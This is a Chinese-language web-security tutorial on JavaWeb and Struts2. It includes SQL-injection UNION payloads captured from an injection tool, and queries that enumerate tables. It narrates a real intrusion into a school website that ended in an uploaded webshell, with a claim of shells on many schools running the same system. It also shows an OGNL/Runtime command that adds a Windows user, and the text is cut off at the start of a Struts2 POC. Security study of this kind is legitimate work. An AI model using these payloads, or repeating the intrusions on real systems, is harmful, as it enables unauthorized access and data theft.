以上的SQL完成了注入点(http://localhost/Test/1.php?id=739执行的SELECT * from wps_posts where ID = 739)的类型、是否存在和字段数量的检测 里面有许多的0x5b2f68345d转换过来其实就是占位符,为了让工具扒下源代码后能够在页面类找到具有特殊意义的字符并进行截取: 源,因为他的order 是从1一直递增到争取的长度的假如字段特别长(一般情况下还是很少出现的)可能要执行几十个甚至是更多的HTTP请求,如果这里使用二分法或许可以很好的解决吧。 我们接着往下看(还是点击start后发送的请求):
/*获取数据库相关信息*/ SELECT * from wps_posts where ID = 739 and 1=0 union select concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d)--
这玩意到底是什么神秘的东西呢?我们不妨在Navicat和FireFox里面瞅瞅: FireFox执行的结果: 让我们来还原上面的那句废话:
select file_priv from mysql.user where user=root
上面很长很臭的SQL翻译过来就这么短的一句查询的结果就一个得到的信息就是: 有没有file_priv权限。而file_priv应该就是文件读写权限了(没看手册,应该八九不离十)。如果不是Y是N那就不能load_file 、into outfile、dumpfile咯。 接着看下一条SQL:
SELECT * from wps_posts where ID = 739 and 1=0 union select concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d)--
/*
asim
这段SQL看不出来有什么实际意义,没有对数据库进行任何操作。对应的SQL是:
select concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d)*/
没用的东西不管下一条也是点击start后的最后一条SQL同上。 那么我们可以知道点击注入点检测程序一共做了:
1、是否存在注入点 2、注入点的字段数量 3、注入点获取Mysql的版本信息、用户信息、数据库名等。 4、是否有file_priv也就是是否能够读写硬盘文件。
程序逻辑分析:
1、获取URL是否存在 2、获取URL地址并进行参数分析 3、提交and 1=1 and 1=2进行布尔判断,获取服务器的响应码判断是否存在SQL注入。 4、提交占位符获取注入点查询的字段数尝试order by 注入。 5、提交MYSQL自带的函数获取MYSQL版本信息、用户信息、数据库名等信息。 6、检测是否有load_file和outfile、dumpfile等权限。
SQL注入之获取所有用户表:
1、Mssql:select name from master.dbo.sysdatabase 2、Mysql:show databases 3、Sybase:SELECT a.name,b.colid,b.name,c.name,b.usertype,b.length,CASE WHEN b.status=0 THEN 'NOT NULL' WHEN b.status=8 THEN 'NULL' END status, d.text FROM sysobjects a,syscolumns b,systypes c,syscomments d WHERE a.id=b.id AND b.usertype=c.usertype AND a.type='U' --AND a.name='t_user' AND b.cdefault*=d.id ORDER BY a.name,b.colid 4、Oracle:SELECT * FROM ALL_TABLES

简单实战

本次实战并没有什么难度,感觉找一个能把前面的都串起来的demo太难了。本次实战的目标是某中学,网站使用JavaWeb开发。去年的时候通过POST注入绕过了GET的防注入检测。对其和开发商的官网都做了SQL注入检测,然后加了开发商的QQ通知修补。 前不久再去测试的时候发现漏洞已经被修补了,围观了下开发商后发现其用的是glassfish: 尝试从服务器弱口令入口了入手但是失败了glassfish的默认管理帐号是admin密码是adminadmin,如果能过登录glassfish的后台 可以直接部署一个war去getshell。 由于没有使用如Struts2之类的MVC框架所以google了下他的jsp,-News参数表示不希望在搜索结果中包含带有-News的结果。 通过GOOGLE找到一处flash上传点,值得注意的是在项目当中上传下载一般作为一个共有的业务,所以可能存在一致性也就是此处要是上传不成功恐怕到了后台也不会成功。企图上传shell: 上传文件: 因为tamper data 没法拦截flash请求,所以通过chrome的拦截记录开始构建上传:


好吧支持txt.html.exe什么的先来个txt: 一般来说我比较关注逻辑漏洞,比如找回密码,查看页面源码后还真就发现了点猫腻有DWR框架。
DWR框架:
DWR就是一个奇葩,人家都是想着怎么样去解耦,他倒好直接把js和后端java给耦合在一起了。DWR(Direct Web Remoting)是一个用于改善web页面与Java类交互的远程服务器端Ajax开源框架,可以帮助开发人员开发包含AJAX技术的网站。它可以允许在浏览器里的代码使用运行在WEB服务器上的JAVA方法,就像它就在浏览器里一样。 再次利用chrome抓网络请求,居然发现后台把用户的密码都给返回了,这不科学啊: 与此同时我把google到的动态连接都打开,比较轻易的就发现了一处SQL注入漏洞,依旧用POST提交吧,以免他的防注入又把我拦截下来了(再次提醒普通的防注入普遍防的是GET请求,POST过去很多防注入都傻逼了,Jsp里面request.getParameter("parameter")GET和POST方式提交的参数都能过获取到的): 破MD5,进后台改上传文件扩展名限制拿shell都一气呵成了: GETSHELL: 可能实战写的有点简单了一点,凑合这看吧。由于这是一套通用系统,很轻易的通过该系统漏洞拿到很多学校的shell,截图中可能有漏点,希望看文章的请勿对其进行攻击!

作者:园长MM

初识MVC

传统的开发存在结构混乱易用性差耦合度高可维护性差等多种问题,为了解决这些毛病分层思想和MVC框架就出现了。MVC是三个单词的缩写,分别为: 模型(Model),视图(View) 和控制(Controller)。 MVC模式的目的就是实现Web系统的职能分工。 Model层实现系统中的业务逻辑,通常可以用JavaBean或EJB来实现。 View*层用于与用户的交互,通常用JSP来实现(前面有讲到,JavaWeb项目中如果不采用JSP作为展现层完全可以没有任何JSP文件,甚至是过滤一切JSP请求,JEECMS是一个最为典型的案例)。 Controller层是Model与View之间沟通的桥梁,它可以分派用户的请求并选择恰当的视图用于显示,同时它也可以解释用户的输入并将它们映射为模型层可执行的操作。
Model1和Model2:
Model1主要是用JSP去处理来自客户端的请求,所有的业务逻辑都在一个或者多个JSP页面里面完成,这种是最不科学的。举例:http://localhost/show_user.jsp?id=2。JSP页面获取到参数id=2就会带到数据库去查询数据库当中id等于 2的用户数据,由于这样的实现方式虽然简单,但是维护成本就非常高。JSP页面跟逻辑业务都捆绑在一起高耦合了。而软件开发的目标就是为了去解耦,让程序之间的依赖性减小。在model1里面SQL注入等攻击简直就是家常便饭。因为在页面里面频繁的去处理各种业务会非常麻烦,更别说关注安全了。典型的Model1的代码就是之前用于演示的SQL注入的JSP页面。
Model1的流程:
Model 2表示的是基于MVC模式的框架,JSP+Servlet。Model2已经带有一定的分层思想了,即Jsp只做简单的展现层,Servlet做后端的业务逻辑处理。这样视图和业务逻辑就相应的分开了。例如:http://localhost/ShowUserServlet?id=2。也就是说把请求交给Servlet处理,Servlet处理完成后再交给jsp或HTML做页面展示。JSP页面就不必要去关心你传入的id=2是怎么查询出来的,而是怎么样去显示id=2的用户的信息(多是用EL表达式或JSP脚本做页面展现)。视图和逻辑分开的好处是可以更加清晰的去处理业务逻辑,这样的出现安全问题的几率会相对降低。
Mvc框架存在的问题:
当Model1和Model2都难以满足开发需求的时候,通用性的MVC框架也就产生了,模型视图控制器,各司其责程序结构一目了然,业务安全相关控制井井有序,这便是MVC框架给我们带来的好处,但是不幸的是由于MVC的框架的实现各自不同,某些东西因为其越来越强大,而衍生出来越来越多的安全问题,典型的由于安全问题处理不当造成近期无数互联网站被黑阔攻击的MVC框架便是Struts2。神器过于锋利伤到自己也就在所难免了。而在Struts和Spring当中最喜欢被人用来挖0day的就是标签和OGNL的安全处理问题了。
Spring Mvc:
Spring 框架提供了构建 Web应用程序的全功能 MVC 模块。使用 Spring 可插入的 MVC 架构,可以选择是使用内置的 Spring Web 框架还是 Struts 这样的 Web 框架。通过策略接口,Spring 框架是高度可配置的,而且包含多种视图技术,例如 JavaServer Pages(JSP)技术、Velocity、Tiles、iText 和 POI、Freemarker。Spring MVC 框架并不知道使用的视图,所以不会强迫您只使用 JSP 技术。Spring MVC 分离了控制器、模型对象、分派器以及处理程序对象的角色,这种分离让它们更容易进行定制。
Struts2:
Struts是apache基金会jakarta项目组的一个开源项目,采用MVC模式,能够很好的帮助我们提高开发web项目的效率。Struts主要采用了servlet和jsp技术来实现,把servlet、jsp、标签库等技术整合到整个框架中。Struts2比Struts1内部实现更加复杂,但是使用起来更加简单,功能更加强大。 Struts2历史版本下载地址:http://archive.apache.org/dist/struts/binaries/ 官方网站是: http://struts.apache.org/
常见MVC比较:
按性能排序:1、Jsp+servlet>2、struts1>2、spring mvc>3、struts2+freemarker>>4、struts2,ognl,值栈。 开发效率上,基本正好相反。值得强调的是,Spring mvc开发效率和Struts2不相上下。 Struts2的性能低的原因是因为OGNL和值栈造成的。所以如果你的系统并发量高,可以使用freemaker进行显示,而不是采用OGNL和值栈。这样,在性能上会有相当大得提高。 而每一次Struts2的远程代码执行的原因都是因为OGNL。 当前JavaWeb当中最为流行的MVC框架主要有Spring MVC和Struts。相比Struts2而言,SpringMVC具有更轻巧,更简易,更安全等优点。但是由于SpringMVC历史远没有Struts那么悠久,SpringMVC想要在一朝一夕颠覆Struts1、2还是非常有困难的。
JavaWeb的Servlet和Filter:
可以说JavaWeb和PHP的实现有着本质的区别,PHP属于解释性语言.不需要在服务器启动的时候就通过一堆的配置去初始化apps而是在任意一个请求到达以后再去加载配置完成来自客户端的请求。ASP和PHP有个非常大的共同点就是不需要预先编译成类似Java的字节码文件,所有的类方法都存在于*.PHP文件当中。而在Java里面可以在项目启动时去加载配置到Servlet容器内。在web.xml里面配置一个Servlet或者Filter后可以非常轻松的拦截、过滤来自于客户端的任意后缀请求。在系列2的时候就有提到Servlet,这里再重温一下。 Servlet配置:
LoginServlet org.javaweb.servlet.LoginServlet LoginServlet /servlet/LoginServlet.action
Filter配置:
struts2 org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter struts2 /*
Filter在JavaWeb当中用来做权限控制再合适不过了,再也不用在每个页面都去做session验证了。假如过滤的url-pattern是/admin/*那么所有URI中带有admin的请求都必须经过如下Filter过滤: Servlet和Filter一样都可以拦截所有的URL的任意方式的请求。其中url-pattern可以是任意的URL也可以是诸如*.action通配符。既然能拦截任意请求如若要做参数和请求的净化就会非常简单了。servlet-name即标注一个Servlet名为LoginServlet它对应的Servlet所在的类是org.javaweb.servlet.LoginServlet.java。由此即可发散开来,比如如何在Java里面实现通用的恶意请求(通用的SQL注入、XSS、CSRF、Struts2等攻击)?敏感页面越权访问?(传统的动态脚本的方式实现是在每个页面都去加session验证非常繁琐,有了filter过滤器,便可以非常轻松的去限制目录权限)。 上面贴出来的过滤器是Struts2的典型配置,StrutsPrepareAndExecuteFilter过滤了/*,即任意的URL请求也就是Struts2的第一个请求入口。任何一个Filter都必须去实现javax.servlet.Filter的Filter接口,即init、doFilter、destroy这三个接口,这里就不细讲了,有兴趣的朋友自己下载JavaEE6的源码包看下。
public void init(FilterConfig filterConfig) throws ServletException; public void doFilter ( ServletRequest request, ServletResponse response, FilterChain chain ) throws IOException, ServletException; public void destroy();

TIPS:
在Eclipse里面看一个接口有哪些实现,选中一个方法快捷键Ctrl+t就会列举出当前接口的所有实现了。例如下图我们可以轻易的看到当前项目下实现Filter接口的有如下接口,其中SecFilter是我自行实现的,StrutsPrepareAndExecuteFilter是Struts2实现的,这个实现是用于Struts2启动和初始化的,下面会讲到:

Struts概述

Struts1、Struts2、Webwork关系: Struts1是第一个广泛流行的mvc框架,使用及其广泛。但是,随着技术的发展,尤其是JSF、ajax等技术的兴起,Struts1有点跟不上时代的步伐,以及他自己在设计上的一些硬伤,阻碍了他的发展。 同时,大量新的mvc框架渐渐大踏步发展,尤其是webwork。Webwork是opensymphony组织开发的。Webwork实现了更加优美的设计,更加强大而易用的功能。 后来,struts和webwork两大社区决定合并两个项目,完成struts2.事实上,struts2是以webwork为核心开发的,更加类似于webwork框架,跟struts1相差甚远。
STRUTS2框架内部流程:

1. 客户端发送请求的tomcat服务器。服务器接受,将HttpServletRequest传进来。 2. 请求经过一系列过滤器(如:ActionContextCleanUp、SimeMesh等) 3. FilterDispatcher被调用。FilterDispatcher调用ActionMapper来决定这个请求是否要调用某个Action 4. ActionMapper决定调用某个ActionFilterDispatcher把请求交给ActionProxy 5. ActionProxy通过Configuration Manager查看struts.xml,从而找到相应的Action类 6. ActionProxy创建一个ActionInvocation对象 7. ActionInvocation对象回调Action的execute方法 8. Action执行完毕后,ActionInvocation根据返回的字符串,找到对应的result。然后将Result内容通过
HttpServletResponse返回给服务器。
SpringMVC框架内部流程:

1.用户发送请求给服务器。url:user.do 2.服务器收到请求。发现DispatchServlet可以处理。于是调用DispatchServlet。 3.DispatchServlet内部,通过HandleMapping检查这个url有没有对应的Controller。如果有,则调用Controller。 4.Controller开始执行。 5.Controller执行完毕后,如果返回字符串,则ViewResolver将字符串转化成相应的视图对象;如果返回ModelAndView对象,该对象本身就包含了视图对象信息。 6.DispatchServlet将执视图对象中的数据,输出给服务器。 7.服务器将数据输出给客户端。
在看完Struts2和SpringMVC的初始化方式之后不知道有没有对MVC架构更加清晰的了解。
Struts2请求处理流程分析:

1、服务器启动的时候会自动去加载当前项目的web.xml 2、在加载web.xml配置的时候会去自动初始化Struts2的Filter,然后把所有的请求先交于Struts的org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.java类去做过滤处理。 3、而这个类只是一个普通的Filter方法通过调用Struts的各个配置去初始化。 4、初始化完成后一旦有action请求都会经过StrutsPrepareAndExecuteFilter的doFilter过滤。 5、doFilter中的ActionMapping去映射对应的Action。 6、ExecuteOperations
源码、配置和访问截图:

Struts2中ActionContext、ValueStack、Ognl

在学习Struts命令执行之前必须得知道什么是OGNL、ActionContext、ValueStack。在前面已经强调过很多次容器的概念了。这地方不敢再扯远了,不然就再也扯回不来了。大概理解:tomcat之类的是个大箱子,里面装了很多小箱子,小箱子里面装了很多小东西。而Struts2其实就是在把很多东西进行包装,要取小东西的时候直接从struts2包装好的箱子里面去拿就行了。
ActionContext对象:
Struts1的Action必须依赖于web容器,他的extecute方法会自动获得HttpServletRequest、HttpServletResponse对象,从而可以跟web容器进行交互。 Struts2的Action不用依赖于web容器,本身只是一个普通的java类而已。但是在web开发中我们往往需要获得request、session、application等对象。这时候,可以通过ActionContext来处理。 ActionContext正如其名,是Action执行的上下文。他内部有个map属性,它存放了Action执行时需要用到的对象。 在每次执行Action之前都会创建新的ActionContext对象,通过ActionContext获取的session、request、application并不是真正的HttpServletRequest、HttpServletResponse、ServletContext对象,而是将这三个对象里面的值重新包装成了map对象。这样的封装,我们及获取了我们需要的值,同时避免了跟Web容器直接打交道,实现了完全的解耦。 测试代码:
public class TestActionContextAction extends ActionSupport{ private String uname; public String execute() throws Exception { ActionContext ac = ActionContext.getContext(); System.out.println(ac); //在此处定义断点 return this.SUCCESS; } //get和set方法省略! }
我们设置断点,debug进去,跟踪ac对象的值。发现他有个table属性,该属性内部包含一个map属性,该map中又有多个map属性,他们分别是: request、session、application、action、attr、parameters等。 同时,我们跟踪request进去,发现属性attribute又是一个table,再进去发现一个名字叫做”struts.valueStack”属性。内容如下: OgnlValueStack可以简单看做List,里面还放了Action对象的引用,通过它可以得到该Action对象的引用。 下图说明了几个对象的关系: 1. ActionContext、Action本身和HttpServletRequest对象没有关系。但是为了能够使用EL表达式、JSTL直接操作他们的属性。会有一个拦截器将ActionContext、Action中的属性通过类似request.setAttribute()方法置入request中(webwork2.1之前的做法)。这样,我们也可以通过:${requestScope.uname}即可访问到ActionContext和Action中的属性。
注:struts2后,使用装饰器模式来实现上述功能。
Action的实例,总是放到value stack中。因为Action放在stack中,而stack是root(根对象),所以对Action中的属性的访问就可以省略#标记。
获取Web容器信息:
在上面我GETSHELL或者是输出回显的时候就必须获取到容器中的请求和响应对象。而在Struts2中通过ActionContext可以获得session、request、application,但他们并不是真正的HttpServletRequest、HttpServletResponse、ServletContext对象,而是将这三个对象里面的值重新包装成了map对象。 Struts框架通过他们来和真正的web容器对象交互。
获得session:ac.getSession().put("s", "ss"); 获得request:Map m = ac.get("request"); 获得application: ac.getApplication();

获取HttpServletRequest、HttpServletResponse、ServletContext:
有时,我们需要真正的HttpServletRequest、HttpServletResponse、ServletContext对象,怎么办? 我们可以通过ServletActionContext类来得到相关对象,代码如下:
HttpServletRequest req = ServletActionContext.*getRequest*(); ServletActionContext.*getRequest*().getSession(); ServletActionContext.*getServletContext*();

Struts2 OGNL:
OGNL全称是Object-Graph Navigation Language(对象图形导航语言),Ognl同时也是Struts2默认的表达式语言。每一次Struts2的命令执行漏洞都是通过OGNL去执行的。在写这文档之前,乌云的drops已有可够参考的Ognl文章了http://drops.wooyun.org/papers/340。这里只是简单提下。
1、能够访问对象的普通方法 2、能够访问类的静态属性和静态方法 3、强大的操作集合类对象的能力 4、支持赋值操作和表达式串联 5、访问OGNL上下文和ActionContext
Ognl并不是Struts专用,我们一样可以在普通的类里面一样可以使用Ognl,比如用Ognl去访问一个普通对象中的属性: 在上面已经列举出了Ognl可以调用静态方法,比如表达式使用表达式去调用runtime执行命令执行:
@java.lang.Runtime@getRuntime().exec('net user selina 123 /add')
而在Java当中静态调用命令行的方式:
java.lang.Runtime.*getRuntime*().exec("net user selina 123 /add");

Struts漏洞

Struts2究竟是个什么玩意,漏洞爆得跟来大姨妈紊乱似的,连续不断。前面已经提到了由于Struts2默认使用的是OGNL表达式,而OGNL表达式有着访问对象的普通方法和静态方法的能力。开发者无视安全问题大量的使用Ognl表达式这正是导致Struts2漏洞源源不断的根本原因。通过上面的DEMO应该差不多知道了Ognl执行方式,而Struts2的每一个命令执行后面都坚挺着一个或多个可以绕过补丁或是直接构造了一个可执行的Ognl表达式语句。
Struts2漏洞病例:
Struts2每次发版后都会release要么是安全问题,要么就是BUG修改。大的版本发布过一下几个。 1.3.x/ 2013-02-02 17:59 - 2.0.x/ 2013-02-02 11:22 - 2.1.x/ 2013-03-02 14:52 - 2.2.x/ 2013-02-02 16:00 - 2.3.x/ 2013-06-24 11:30 - 小版本发布了不计其数,具体的小版本下载地址:http://archive.apache.org/dist/struts/binaries/
Struts公开的安全问题:
1、Remote code exploit on form validation error: http://struts.apache.org/release/2.3.x/docs/s2-001.html 2、Cross site scripting (XSS) vulnerability on and tags: http://struts.apache.org/release/2.3.x/docs/s2-002.html 3、XWork ParameterInterceptors bypass allows OGNL statement execution: http://struts.apache.org/release/2.3.x/docs/s2-003.html 4、Directory traversal vulnerability while serving static content: http://struts.apache.org/release/2.3.x/docs/s2-004.html 5、XWork ParameterInterceptors bypass allows remote command execution: http://struts.apache.org/release/2.3.x/docs/s2-005.html 6、Multiple Cross-Site Scripting (XSS) in XWork generated error pages: http://struts.apache.org/release/2.3.x/docs/s2-006.html 7、User input is evaluated as an OGNL expression when there's a conversion error: http://struts.apache.org/release/2.3.x/docs/s2-007.html 8、Multiple critical vulnerabilities in Struts2: http://struts.apache.org/release/2.3.x/docs/s2-008.html 9、ParameterInterceptor vulnerability allows remote command execution http://struts.apache.org/release/2.3.x/docs/s2-009.html 10、When using Struts 2 token mechanism for CSRF protection, token check may be bypassed by misusing known session attributes: http://struts.apache.org/release/2.3.x/docs/s2-010.html 11、Long request parameter names might significantly promote the effectiveness of DOS attacks: http://struts.apache.org/release/2.3.x/docs/s2-011.html 12、Showcase app vulnerability allows remote command execution: http://struts.apache.org/release/2.3.x/docs/s2-012.html 13、A vulnerability, present in the includeParams attribute of the URL and Anchor Tag, allows remote command execution: http://struts.apache.org/release/2.3.x/docs/s2-013.html 14、A vulnerability introduced by forcing parameter inclusion in the URL and Anchor Tag allows remote command execution, session access and manipulation and XSS attacks: http://struts.apache.org/release/2.3.x/docs/s2-014.html 15、A vulnerability introduced by wildcard matching mechanism or double evaluation of OGNL Expression allows remote command execution.: http://struts.apache.org/release/2.3.x/docs/s2-015.html 16、A vulnerability introduced by manipulating parameters prefixed with "action:"/"redirect:"/"redirectAction:" allows remote command execution: http://struts.apache.org/release/2.3.x/docs/s2-016.html 18:A vulnerability introduced by manipulating parameters prefixed with "redirect:"/"redirectAction:" allows for open redirects: http://struts.apache.org/release/2.3.x/docs/s2-017.html
Struts2漏洞利用详情:
S2-001-S2-004:http://www.inbreak.net/archives/161 S2-005:http://www.venustech.com.cn/NewsInfo/124/2802.Html S2-006:http://www.venustech.com.cn/NewsInfo/124/10155.Html S2-007:http://www.inbreak.net/archives/363 S2-008:http://www.exploit-db.com/exploits/18329/ http://www.inbreak.net/archives/481 S2-009:http://www.venustech.com.cn/NewsInfo/124/12466.Html S2-010:http://xforce.iss.net/xforce/xfdb/78182 S2-011-S2-015:http://blog.csdn.net/wangyi_lin/article/details/9273903 http://www.inbreak.net/archives/487 http://www.inbreak.net/archives/507 S2-016-S2-017:http://www.iteye.com/news/28053#comments
吐槽一下:
从来没有见过一个框架如此多的漏洞一个连官方修补没怎么用心的框架既有如此多的拥护者。大学和很多的培训机构都把SSH(Spring、Struts2、Hibernate)奉为JavaEE缺一不可的神话。在政府和大型企业中使用JavaWeb的项目中SSH架构体现的更是无处不在。刚开始找工作的出去面试基本上都问:SSH会吗?我们只招本科毕业精通SSH框架的。“?什么?Struts2不会?啥?还不是本科学历?很遗憾,我们公司更希望跟研究过SSH代码精通Struts MVC、Spring AOP DI OIC和Hibernate的人合作,您先回去等通知吧…… ”。多么标准的面试失败的结束语,我只想说:我去年买了个表! 在Struts2如此“权威”、“专制”统治下终于有一个比Struts2更轻盈、更精巧、更安全的框架开始逐渐的威胁着Struts神一样的地位,It’s SpringMvc。
Struts2 Debug:
关于Struts2的漏洞分析网上已经铺天盖地了,因为一直做SpringMvc开发对Struts2并是怎么关注。不过有了上面的铺垫,分析下Struts2的逻辑并不难。这次就简单的跟一下S2-016的命令执行吧。
Debug Tips:

F5:进入方法 F6:单步执行 F7:从当前方法中跳出,继续往下执行。 F8:跳到下一个断点。 其他:F3:进入方法内、Ctrl+alt+h查看当前方法在哪些地方有调用到。
这里还得从上面的Struts2的Filter说起,忘记了的回头看上面的:Struts2请求处理流程分析。 在Struts2项目启动的时候就也会去调用Ognl做初始化,启动后一切的Struts2的请求都会先经过Struts2的StrutsPrepareAndExecuteFilter过滤器(在早期的Struts里默认的是FilterDispatcher)。并从其doFilter开始处理具体的请求,完成Action映射和请求分发。 在Debug之前需要有Struts2的OGNL、Xwork还有Struts的代码。其中的xwork和Struts2的源代码可以在Struts2\struts-2.3.14\src下找到。 Ognl的源码在opensymphony的官方网站可以直接下载到。需要安装SVN客户端checkout下源码。 http://code.google.com/p/opensymphony-ognl-backup/source/checkout 关联上源代码后可以在web.xml里面找到StrutsPrepareAndExecuteFilter哪行配置,直接Ctrl+左键点进去(或者直接在StrutsPrepareAndExecuteFilter上按F3快速进入到这个类里面去)。在StrutsPrepareAndExecuteFilter的77行行标处双击下就可以断点了。 至于在Eclipse里面怎么去关联源代码就不多说了,按照eclipse提示找到源代码所在的路径就行了,实在不懂就百度一下。一个正常的Action请求一般情况下是不会报错的。如:http://localhost/StrutsDemo/test.action请求处理成功。在这样正常的请求中Ognl表达式找的是location。而注入Ognl表达式之后: doFilter的前面几行代码在做初始化,而第84行就开始映射action了。而最新的S2-016就是因为不当的处理action映射导致OGNL注入执行任意代码的。F5进入PrepareOperations的findActionMapping方法。在findActionMapping里面会去调用先去获取一个容器然后再去映射具体的action。通过Dispatcher对象(org.apache.struts2.dispatcher)去获取Container。通过ActionMapper的实现类:org.apache.struts2.dispatcher.mapper.DefaultActionMapper调用getMapping方法,获取mapping。 在311行的handleSpecialParameters(request, mapping);F5进入方法执行内部,这个方法在DefaultActionMapper类里边。 从请求当中获取我们提交的恶意Ognl代码: handleSpecialParameters方法调用parameterAction.execute(key, mapping);: F5进入parameterAction.execute: 执行完成之后的mapping可以看到lication已经注入了我们的Ognl表达式了: 当mapping映射完成后,会回到DefaultActionMapper调用上面处理后的mapping解析ActionName。
return parseActionName(mapping)
这里拿到的name自然是test了。因为我们访问的只是test.action。不过在Struts2里面还可以用test!show.action即调用test内的show方法。
parseNameAndNamespace(uri, mapping, configManager); handleSpecialParameters(request, mapping); return parseActionName(mapping);
parseActionName执行完成后回到之前的findActionMapping方法。然后把我们的mapping放到请求作用域里边,而mapping对应的键是:struts.actionMapping。此便完成了ActionMapping。那么StrutsPrepareAndExecuteFilter类的doFilter过滤器中的84行的ActionMapping也就完成了。 并不是说action映射完成后就已经执行了Ognl表达式了,而是在StrutsPrepareAndExecuteFilter类第91行的execute.executeAction(request, response, mapping);执行完成后才会去执行我们的Ognl。 executeAction 在org.apache.struts2.dispatcher.ng的ExecuteOperations类。这个方法如下:
/** * Executes an action * @throws ServletException */ public void executeAction(HttpServletRequest request, HttpServletResponse response, ActionMapping mapping) throws ServletException { dispatcher.serviceAction(request, response, servletContext, mapping); }
Dispatcher应该是再熟悉不过了,因为刚才已经在dispatcher里面转悠了一圈回来。现在调用的是dispatcher的 serviceAction方法。 public void serviceAction(参数在上面executeAction太长了就不写了): Excute在excuteorg.apache.struts2.dispatcher.ServletRedirectResult类,具体方法如下:
public void execute(ActionInvocation invocation) throws Exception { if (anchor != null) { anchor = conditionalParse(anchor, invocation); } super.execute(invocation); } super.execute(org.apache.struts2.dispatcher.StrutsResultSupport)
即执行其父类的execute方法。上面的anchor为空。 重点就在translateVariables(翻译变量的时候把我们的Ognl执行了):
Object result = parser.evaluate(openChars, expression, ognlEval, maxLoopCount); return conv.convertValue(stack.getContext(), result, asType);
最终执行: F8放过页面输出

解密Struts2的“神秘”的POC:
在S2-016出来之后Struts2以前的POC拿着也没什么用了,因为S2-016的威力已经大到让百度、企鹅、京东叫唤了。挑几个简单的具有代表性的讲下。在连续不断的看了这么多坑爹的概念以后不妨见识一下Struts2的常用POC。 回显POC(快速检测是否存在(有的s2版本无法输出),看见输出
就表示存在): POC1:
http://127.0.0.1/Struts2/test.action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context
